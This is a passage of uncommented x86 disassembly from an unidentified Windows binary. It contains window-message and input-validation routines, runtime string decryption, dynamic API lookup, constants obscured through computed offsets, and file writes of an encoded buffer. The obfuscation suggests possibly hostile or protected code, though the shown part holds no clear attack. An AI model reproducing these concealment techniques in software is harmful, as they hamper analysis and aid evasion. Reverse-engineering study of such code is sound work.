mov ds:10012038h, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_41A570
js short loc_41A57E
mov edi, [ebx+8]
push ebx
call sub_41A48D
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41A433
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_41A570: ; CODE XREF: .data:0041A4F1j
; .data:0041A546j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_41A4E0
; ---------------------------------------------------------------------------
loc_41A57E: ; CODE XREF: .data:0041A548j
xor eax, eax
jmp short loc_41A59B
; ---------------------------------------------------------------------------
loc_41A582: ; CODE XREF: .data:0041A4C5j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41A433
add esp, 0Ch
loc_41A591: ; CODE XREF: .data:0041A4E3j
push 0Bh
call sub_424FF9
add esp, 4
loc_41A59B: ; CODE XREF: .data:0041A580j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_41A5B4
call sub_41A5D0
loc_41A5B4: ; CODE XREF: .data:0041A5ADj
call sub_424F3C
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, ds:10012000h
call eax
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A5D0 proc near ; CODE XREF: .data:0041A5AFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_424FC9
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_424FC9
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_424FC9
mov [ebp+var_C], eax
push 1001201Eh
push [ebp+var_8]
call sub_424FBD
mov ds:10012008h, eax
push 1001201Ch
push [ebp+var_4]
call sub_424FBD
mov ds:10012004h, eax
push 1001201Ch
push [ebp+var_C]
call sub_424FBD
add esp, 30h
mov ds:1001200Ch, eax
mov edi, ds:10012004h
or edi, edi
jz short loc_41A649
push 0
push edi
call sub_425005
add esp, 8
loc_41A649: ; CODE XREF: sub_41A5D0+6Cj
mov edi, ds:1001200Ch
or edi, edi
jz short loc_41A663
push 0
push edi
call sub_425005
add esp, 8
call sub_41A669
loc_41A663: ; CODE XREF: sub_41A5D0+81j
pop edi
leave
retn
sub_41A5D0 endp
; ---------------------------------------------------------------------------
dw 9090h
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A669 proc near ; CODE XREF: sub_41A5D0+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_424FA5
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_41A6A1
; ---------------------------------------------------------------------------
loc_41A685: ; CODE XREF: sub_41A669+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_41A68D
inc [ebp+var_C]
loc_41A68D: ; CODE XREF: sub_41A669+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_41A6A1: ; CODE XREF: sub_41A669+1Aj
cmp byte ptr [ebx], 0
jnz short loc_41A685
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_424FED
pop ecx
mov [ebp+var_8], eax
mov ds:10012010h, eax
cmp [ebp+var_8], 0
jnz short loc_41A6CF
xor eax, eax
jmp short loc_41A72C
; ---------------------------------------------------------------------------
loc_41A6CF: ; CODE XREF: sub_41A669+60j
mov ebx, [ebp+var_10]
jmp short loc_41A719
; ---------------------------------------------------------------------------
loc_41A6D4: ; CODE XREF: sub_41A669+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_41A713
push [ebp+var_4]
call sub_424FED
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_41A701
jmp short loc_41A72C
; ---------------------------------------------------------------------------
loc_41A701: ; CODE XREF: sub_41A669+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_425011
add esp, 8
add [ebp+var_8], 4
loc_41A713: ; CODE XREF: sub_41A669+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_41A719: ; CODE XREF: sub_41A669+69j
cmp byte ptr [ebx], 0
jnz short loc_41A6D4
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_41A72C: ; CODE XREF: sub_41A669+64j
; sub_41A669+96j
pop edi
pop esi
pop ebx
leave
retn
sub_41A669 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 10011BA8h
call dword ptr ds:1000EA3Ch
mov eax, ds:10011BA8h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41A748 proc near ; CODE XREF: .data:0042321Ap
push 2
call sub_41C232
push 0
call sub_41C232
add esp, 8
retn
sub_41A748 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+8]
mov ebx, [ebp+0Ch]
mov eax, ebx
cmp eax, 100h
jz short loc_41A78B
jl loc_41ACD6
cmp eax, 111h
jz loc_41A825
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41A78B: ; CODE XREF: .data:0041A773j
cmp dword ptr [ebp+10h], 9
jnz loc_41ACD6
mov edi, ds:1001212Ch
sub edi, 5
jmp short loc_41A80B
; ---------------------------------------------------------------------------
loc_41A7A0: ; CODE XREF: .data:0041A81Ej
mov eax, 30h
mul edi
mov [ebp-208h], eax
cmp ds:1000F380h[eax], esi
jnz short loc_41A7D5
mov eax, 30h
mul edi
mov [ebp-20Ch], eax
push dword ptr ds:1000F384h[eax]
call dword ptr ds:1000EA40h
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41A7D5: ; CODE XREF: .data:0041A7B4j
mov eax, 30h
mul edi
mov [ebp-20Ch], eax
cmp ds:1000F384h[eax], esi
jnz short loc_41A80A
mov eax, 30h
mul edi
mov [ebp-210h], eax
push dword ptr ds:1000F388h[eax]
call dword ptr ds:1000EA40h
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41A80A: ; CODE XREF: .data:0041A7E9j
inc edi
loc_41A80B: ; CODE XREF: .data:0041A79Ej
mov eax, ds:100121ACh
add eax, 5Bh
movsx edx, word ptr ds:100120D8h
add eax, edx
cmp edi, eax
jb short loc_41A7A0
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41A825: ; CODE XREF: .data:0041A780j
mov edi, ds:100120CCh
dec edi
jmp short loc_41A848
; ---------------------------------------------------------------------------
loc_41A82E: ; CODE XREF: .data:0041A854j
mov eax, 30h
mul edi
mov [ebp-208h], eax
mov eax, ds:1000F38Ch[eax]
cmp [ebp+14h], eax
jz short loc_41A856
inc edi
loc_41A848: ; CODE XREF: .data:0041A82Cj
movsx eax, word ptr ds:10012100h
add eax, 5Bh
cmp edi, eax
jb short loc_41A82E
loc_41A856: ; CODE XREF: .data:0041A845j
movsx eax, word ptr ds:10012194h
add eax, 64h
cmp edi, eax
jz loc_41ACD6
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-20Ch], eax
push dword ptr ds:1000F378h[eax]
call dword ptr ds:10011BA4h
mov eax, ds:100121B8h
mov byte ptr [ebp+eax-207h], 4Bh
mov eax, ds:100121B0h
add eax, ds:100121C0h
mov edx, ds:1001209Ch
add edx, ds:100120ECh
sub edx, 0Dh
mov [ebp+eax-206h], dl
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000C020h
add esp, 8
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-210h], eax
push dword ptr ds:1000F380h[eax]
call dword ptr ds:10011BA4h
mov eax, ds:10012198h
movsx edx, word ptr ds:100121A8h
add eax, edx
movsx eax, byte ptr [ebp+eax-10Bh]
movsx edx, word ptr ds:1001216Ch
add edx, ds:100120A4h
sub edx, 6
cmp eax, edx
jnz short loc_41A95A
mov eax, ds:1001217Ch
sub eax, 6
push eax
push 0
push 10013837h
push 0
call dword ptr ds:10011640h
mov eax, 30h
mul edi
mov [ebp-214h], eax
push dword ptr ds:1000F380h[eax]
call dword ptr ds:1000EA40h
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: .data:0041A921j
push 10013832h
call sub_4228CE
push eax
lea edx, [ebp-204h]
push edx
call dword ptr ds:1000C020h
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000C020h
add esp, 14h
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-214h], eax
push dword ptr ds:1000F384h[eax]
call dword ptr ds:10011BA4h
mov eax, ds:100120ACh
add eax, ds:100121CCh
movsx eax, byte ptr [ebp+eax-10Ah]
mov edx, ds:100120E4h
sub edx, 2
cmp eax, edx
jnz short loc_41AA0C
mov eax, ds:1001218Ch
add eax, ds:100121C8h
sub eax, 3
push eax
push 0
push 10013813h
push 0
call dword ptr ds:10011640h
mov eax, 30h
mul edi
mov [ebp-218h], eax
push dword ptr ds:1000F384h[eax]
call dword ptr ds:1000EA40h
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41AA0C: ; CODE XREF: .data:0041A9CDj
push 1001380Eh
call sub_4228CE
push eax
lea edx, [ebp-204h]
push edx
call dword ptr ds:1000C020h
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000C020h
add esp, 14h
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-218h], eax
push dword ptr ds:1000F388h[eax]
call dword ptr ds:10011BA4h
movsx eax, word ptr ds:10012194h
add eax, ds:10012188h
movsx eax, byte ptr [ebp+eax-103h]
mov edx, ds:1001209Ch
sub edx, 8
cmp eax, edx
jz loc_41ABB9
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_41AA90: ; CODE XREF: .data:0041AA95j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41AA90
mov edx, eax
mov ecx, ds:100121B8h
movsx eax, word ptr ds:10012100h
add ecx, eax
sub ecx, 8
cmp edx, ecx
jb loc_41ABB9
mov eax, ds:100120C4h
add eax, ds:100120F0h
sub eax, 8
mov [ebp-105h], al
jmp short loc_41AAEB
; ---------------------------------------------------------------------------
loc_41AAC9: ; CODE XREF: .data:0041AB04j
movzx eax, byte ptr [ebp-105h]
mov al, [ebp+eax-103h]
cmp al, 30h
jl short loc_41AADF
cmp al, 39h
jle short loc_41AAE4
loc_41AADF: ; CODE XREF: .data:0041AAD9j
jmp loc_41ABB9
; ---------------------------------------------------------------------------
loc_41AAE4: ; CODE XREF: .data:0041AADDj
add byte ptr [ebp-105h], 1
loc_41AAEB: ; CODE XREF: .data:0041AAC7j
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_41AAF4: ; CODE XREF: .data:0041AAF9j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41AAF4
movzx ecx, byte ptr [ebp-105h]
cmp ecx, eax
jb short loc_41AAC9
movsx eax, word ptr ds:100120D8h
add eax, ds:100120D4h
sub eax, 6
mov [ebp-104h], al
jmp short loc_41AB95
; ---------------------------------------------------------------------------
loc_41AB1E: ; CODE XREF: .data:0041ABAEj
mov al, [ebp-104h]
mov [ebp-219h], al
jmp short loc_41AB55
; ---------------------------------------------------------------------------
loc_41AB2C: ; CODE XREF: .data:0041AB6Ej
movzx eax, byte ptr [ebp-219h]
movsx eax, byte ptr [ebp+eax-103h]
movzx edx, byte ptr [ebp-104h]
movsx edx, byte ptr [ebp+edx-103h]
cmp eax, edx
jnz short loc_41AB70
add byte ptr [ebp-219h], 1
loc_41AB55: ; CODE XREF: .data:0041AB2Aj
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_41AB5E: ; CODE XREF: .data:0041AB63j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41AB5E
movzx ecx, byte ptr [ebp-219h]
cmp ecx, eax
jb short loc_41AB2C
loc_41AB70: ; CODE XREF: .data:0041AB4Cj
movzx eax, byte ptr [ebp-219h]
movzx edx, byte ptr [ebp-104h]
sub eax, edx
movsx edx, word ptr ds:100120C8h
sub edx, 4
cmp eax, edx
jg short loc_41ABB9
add byte ptr [ebp-104h], 1
loc_41AB95: ; CODE XREF: .data:0041AB1Cj
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_41AB9E: ; CODE XREF: .data:0041ABA3j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41AB9E
movzx ecx, byte ptr [ebp-104h]
cmp ecx, eax
jb loc_41AB1E
jmp loc_41AC4F
; ---------------------------------------------------------------------------
loc_41ABB9: ; CODE XREF: .data:0041AA81j
; .data:0041AAADj ...
movsx eax, word ptr ds:100120C8h
add eax, 7C9h
push eax
call dword ptr ds:10011630h
push 100137D5h
call sub_4228CE
mov [ebp-21Ch], eax
push 100137BEh
call sub_4228CE
mov edx, ds:1001218Ch
add edx, ds:10012174h
sub edx, 0Ah
push edx
push eax
mov edx, [ebp-21Ch]
push edx
push 0
call dword ptr ds:10011640h
push 100137BAh
call sub_4228CE
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp-220h], eax
mov edx, eax
push dword ptr ds:1000F388h[edx]
call dword ptr ds:10011654h
mov eax, 30h
mul edi
mov [ebp-224h], eax
push dword ptr ds:1000F388h[eax]
call dword ptr ds:1000EA40h
jmp loc_41ACD6
; ---------------------------------------------------------------------------
loc_41AC4F: ; CODE XREF: .data:0041ABB4j
push 100137B5h
call sub_4228CE
push eax
lea edx, [ebp-204h]
push edx
call dword ptr ds:1000C020h
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000C020h
mov eax, 30h
mul edi
mov [ebp-228h], eax
push dword ptr ds:1000F378h[eax]
call dword ptr ds:1000F224h
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000C04Ch
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp-22Ch], eax
push dword ptr ds:1000F374h[eax]
call dword ptr ds:10011658h
mov eax, 30h
mul edi
mov [ebp-230h], eax
and dword ptr ds:1000F370h[eax], 0
loc_41ACD6: ; CODE XREF: .data:0041A775j
; .data:0041A786j ...
mov edi, ds:10012124h
dec edi
jmp loc_41ADB6
; ---------------------------------------------------------------------------
loc_41ACE2: ; CODE XREF: .data:0041ADC0j
mov eax, 30h
mul edi
mov [ebp-8], eax
cmp esi, ds:1000F380h[eax]
jnz short loc_41AD19
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-0Ch], eax
push dword ptr ds:1000F390h[eax]
call dword ptr ds:1001160Ch
jmp loc_41ADC6
; ---------------------------------------------------------------------------
loc_41AD19: ; CODE XREF: .data:0041ACF3j
mov eax, 30h
mul edi
mov [ebp-10h], eax
cmp esi, ds:1000F384h[eax]
jnz short loc_41AD4D
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-14h], eax
push dword ptr ds:1000F394h[eax]
call dword ptr ds:1001160Ch
jmp short loc_41ADC6
; ---------------------------------------------------------------------------
loc_41AD4D: ; CODE XREF: .data:0041AD2Aj
mov eax, 30h
mul edi
mov [ebp-18h], eax
cmp esi, ds:1000F388h[eax]
jnz short loc_41AD81
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-1Ch], eax
push dword ptr ds:1000F398h[eax]
call dword ptr ds:1001160Ch
jmp short loc_41ADC6
; ---------------------------------------------------------------------------
loc_41AD81: ; CODE XREF: .data:0041AD5Ej
mov eax, 30h
mul edi
mov [ebp-20h], eax
cmp esi, ds:1000F37Ch[eax]
jnz short loc_41ADB5
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-24h], eax
push dword ptr ds:1000F39Ch[eax]
call dword ptr ds:1001160Ch
jmp short loc_41ADC6
; ---------------------------------------------------------------------------
loc_41ADB5: ; CODE XREF: .data:0041AD92j
inc edi
loc_41ADB6: ; CODE XREF: .data:0041ACDDj
mov eax, ds:1001213Ch
add eax, 62h
cmp edi, eax
jb loc_41ACE2
loc_41ADC6: ; CODE XREF: .data:0041AD14j
; .data:0041AD4Bj ...
pop edi
pop esi
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADCD proc near ; CODE XREF: sub_41BB8D+17Dp
; sub_41F4F7+CCp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call dword ptr ds:1000C000h
mov edi, eax
push 0
push 0
movsx eax, word ptr ds:10012154h
add eax, 1FF7h
push eax
push esi
push edi
push ebx
mov eax, ds:100121C0h
sub eax, 3
push eax
push 0
call dword ptr ds:1000C00Ch
mov eax, ds:10012138h
add eax, ds:10012120h
sub eax, 0Ah
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41ADCD endp
; =============== S U B R O U T I N E =======================================
sub_41AE1F proc near ; CODE XREF: .data:00423028p
push edi
push 100137A8h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121E0h, eax
test eax, eax
jnz short loc_41AE52
push 1001379Bh
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121E0h, eax
loc_41AE52: ; CODE XREF: sub_41AE1F+1Aj
push 1001378Ch
call sub_4228CE
push eax
push dword ptr ds:100121E0h
call dword ptr ds:1000E1F8h
mov ds:1000F250h, eax
push 1001377Ah
call sub_4228CE
add esp, 8
push eax
push dword ptr ds:100121E0h
call dword ptr ds:1000E1F8h
mov ds:1000D120h, eax
pop edi
retn
sub_41AE1F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 10011784h
call dword ptr ds:1000EA3Ch
mov eax, ds:10011784h
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push esi
push edi
movsx eax, word ptr ds:10012090h
add eax, ds:100121ACh
sub eax, 5
mov edx, [ebp+8]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_41AEDE
push 1000E0F0h
lea eax, [ebp-110h]
push eax
call sub_424F6D
jmp short loc_41AEEF
; ---------------------------------------------------------------------------
loc_41AEDE: ; CODE XREF: .data:0041AEC9j
push 1000F260h
lea eax, [ebp-110h]
push eax
call sub_424F6D
loc_41AEEF: ; CODE XREF: .data:0041AEDCj
push 0
mov eax, ds:100121C8h
movsx edx, word ptr ds:10012194h
add eax, edx
sub eax, 2
push eax
push 4
push 0
movsx eax, word ptr ds:100120E0h
add eax, ds:10012124h
dec eax
push eax
push 40000000h
lea eax, [ebp-110h]
push eax
call dword ptr ds:10011788h
mov [ebp-8], eax
push 2
push 0
mov eax, ds:100121C8h
sub eax, 2
push eax
push dword ptr [ebp-8]
call dword ptr ds:10011B9Ch
push 10013772h
call sub_4228CE
pop ecx
push 0
lea edx, [ebp-0Ch]
push edx
movsx edx, word ptr ds:1001216Ch
movsx ecx, word ptr ds:100121BCh
add edx, ecx
sub edx, 6
push edx
push eax
push dword ptr [ebp-8]
call dword ptr ds:10011B8Ch
push 493E0h
push 40h
call dword ptr ds:1000EA34h
mov ebx, eax
push 61A80h
push 40h
call dword ptr ds:1000EA34h
mov esi, eax
movsx eax, word ptr ds:100120E0h
add eax, ds:100120B4h
sub eax, 8
mov edx, [ebp+8]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_41AFB4
mov eax, [ebp+8]
inc eax
push eax
push ebx
call sub_424F6D
jmp short loc_41AFBD
; ---------------------------------------------------------------------------
loc_41AFB4: ; CODE XREF: .data:0041AFA5j
push dword ptr [ebp+8]
push ebx
call sub_424F6D
loc_41AFBD: ; CODE XREF: .data:0041AFB2j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_41AFC2: ; CODE XREF: .data:0041AFC7j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41AFC2
mov [ebp-4], eax
mov eax, ds:100120CCh
mov edi, eax
add edi, ds:10012184h
sub edi, 7
jmp short loc_41B004
; ---------------------------------------------------------------------------
loc_41AFDE: ; CODE XREF: .data:0041B007j
movzx eax, byte ptr [ebx+edi]
mov [ebp-114h], eax
mov eax, edi
mul edi
mov [ebp-118h], eax
mov eax, [ebp-114h]
mov edx, [ebp-118h]
add eax, edx
mov [ebx+edi], al
inc edi
loc_41B004: ; CODE XREF: .data:0041AFDCj
cmp edi, [ebp-4]
jb short loc_41AFDE
mov eax, ds:1001212Ch
add eax, 61A73h
movsx edx, word ptr ds:10012154h
add eax, edx
push eax
push esi
push dword ptr [ebp-4]
push ebx
call sub_41B7B4
add esp, 10h
mov eax, ds:100120C0h
mov edi, eax
add edi, ds:100121ACh
sub edi, 5
jmp short loc_41B051
; ---------------------------------------------------------------------------
loc_41B03C: ; CODE XREF: .data:0041B05Fj
cmp byte ptr [esi+edi], 2Bh
jnz short loc_41B046
mov byte ptr [esi+edi], 28h
loc_41B046: ; CODE XREF: .data:0041B040j
cmp byte ptr [esi+edi], 3Dh
jnz short loc_41B050
mov byte ptr [esi+edi], 29h
loc_41B050: ; CODE XREF: .data:0041B04Aj
inc edi
loc_41B051: ; CODE XREF: .data:0041B03Aj
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41B056: ; CODE XREF: .data:0041B05Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41B056
cmp edi, eax
jb short loc_41B03C
mov eax, ds:10012174h
sub eax, 9
mov edx, [ebp+8]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_41B08F
push 0
lea eax, [ebp-0Ch]
push eax
mov eax, ds:100120FCh
sub eax, 6
push eax
push 10013770h
push dword ptr [ebp-8]
call dword ptr ds:10011B8Ch
loc_41B08F: ; CODE XREF: .data:0041B070j
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41B094: ; CODE XREF: .data:0041B099j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41B094
push 0
lea edx, [ebp-0Ch]
push edx
movsx edx, word ptr ds:10012168h
sub edx, 7
mov edi, eax
add edi, edx
push edi
push esi
push dword ptr [ebp-8]
call dword ptr ds:10011B8Ch
push dword ptr [ebp-8]
call dword ptr ds:10010650h
push ebx
call dword ptr ds:1000E618h
push esi
call dword ptr ds:1000E618h
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0D6 proc near ; CODE XREF: .data:00422CA1p
; sub_423996+165p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call dword ptr ds:10011788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41B11E
cmp [ebp+arg_4], 0
jz short loc_41B11A
mov eax, [ebp+arg_4]
mov edx, ds:100120F8h
add edx, ds:1001209Ch
sub edx, 0Ah
mov [eax], edx
loc_41B11A: ; CODE XREF: sub_41B0D6+2Ej
xor eax, eax
jmp short loc_41B162
; ---------------------------------------------------------------------------
loc_41B11E: ; CODE XREF: sub_41B0D6+28j
push 0
push edi
call dword ptr ds:10011624h
mov esi, eax
add eax, 10h
push eax
push 40h
call dword ptr ds:1000EA34h
mov ebx, eax
push 0
cmp [ebp+arg_4], 0
jz short loc_41B147
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_41B14D
; ---------------------------------------------------------------------------
loc_41B147: ; CODE XREF: sub_41B0D6+67j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_41B14D: ; CODE XREF: sub_41B0D6+6Fj
push [ebp+var_8]
push esi
push ebx
push edi
call dword ptr ds:1000C028h
push edi
call dword ptr ds:10010650h
mov eax, ebx
loc_41B162: ; CODE XREF: sub_41B0D6+46j
pop edi
pop esi
pop ebx
leave
retn
sub_41B0D6 endp
; =============== S U B R O U T I N E =======================================
sub_41B167 proc near ; CODE XREF: .data:00423041p
push edi
push 10013761h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121F4h, eax
test eax, eax
jnz short loc_41B19A
push 10013752h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121F4h, eax
loc_41B19A: ; CODE XREF: sub_41B167+1Aj
push 1001373Eh
call sub_4228CE
pop ecx
push eax
push dword ptr ds:100121F4h
call dword ptr ds:1000E1F8h
mov ds:1000EA44h, eax
pop edi
retn
sub_41B167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B1B9 proc near ; CODE XREF: sub_41B939+17Fp
var_170 = byte ptr -170h
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 170h
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000E5FCh
lea eax, [ebp+var_168]
push eax
call sub_41C3F2
push 10013739h
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000C020h
push 10013731h
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
add esp, 24h
push 0
movsx eax, word ptr ds:10012100h
add eax, ds:100120E4h
sub eax, 0Bh
push eax
push 3
push 0
mov eax, ds:10012160h
sub eax, 8
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10011788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41B27C
mov eax, ds:10012160h
sub eax, 8
mov edx, [ebp+arg_0]
movsx ecx, word ptr ds:100120B0h
sub ecx, 8
mov [edx+eax], cl
jmp short loc_41B2E0
; ---------------------------------------------------------------------------
loc_41B27C: ; CODE XREF: sub_41B1B9+A7j
push 0
push 0
push [ebp+arg_4]
push edi
call dword ptr ds:10011B9Ch
push 0
lea eax, [ebp+var_170]
push eax
movsx eax, word ptr ds:100120B0h
mov edx, ds:10012124h
lea eax, [eax+edx+0Bh]
push eax
push [ebp+arg_0]
push edi
call dword ptr ds:1000C028h
mov [ebp+var_16C], eax
push edi
call dword ptr ds:10010650h
mov eax, ds:100120C4h
sub eax, 4
cmp [ebp+var_16C], eax
jnz short loc_41B2E0
mov eax, ds:10012130h
mov edx, [ebp+arg_0]
mov ecx, ds:100121C4h
sub ecx, 5
mov [edx+eax], cl
loc_41B2E0: ; CODE XREF: sub_41B1B9+C1j
; sub_41B1B9+111j
pop edi
pop esi
leave
retn
sub_41B1B9 endp
; =============== S U B R O U T I N E =======================================
sub_41B2E4 proc near ; CODE XREF: .data:00423032p
push edi
push 10013721h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121E8h, eax
test eax, eax
jnz short loc_41B317
push 10013711h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121E8h, eax
loc_41B317: ; CODE XREF: sub_41B2E4+1Aj
push 100136FFh
call sub_4228CE
push eax
push dword ptr ds:100121E8h
call dword ptr ds:1000E1F8h
mov ds:1000C044h, eax
push 100136EEh
call sub_4228CE
push eax
push dword ptr ds:100121E8h
call dword ptr ds:1000E1F8h
mov ds:10011BA0h, eax
push 100136DEh
call sub_4228CE
push eax
push dword ptr ds:100121E8h
call dword ptr ds:1000E1F8h
mov ds:10011BB0h, eax
push 100136CFh
call sub_4228CE
push eax
push dword ptr ds:100121E8h
call dword ptr ds:1000E1F8h
mov ds:1000C038h, eax
push 100136BFh
call sub_4228CE
add esp, 14h
push eax
push dword ptr ds:100121E8h
call dword ptr ds:1000E1F8h
mov ds:1000F254h, eax
pop edi
retn
sub_41B2E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3A8 proc near ; CODE XREF: sub_41C68E+D1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 10012250h
push 10012210h
push [ebp+arg_4]
push [ebp+arg_0]
call sub_424505
pop ebp
retn
sub_41B3A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3C2 proc near ; CODE XREF: sub_41B939+91p
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
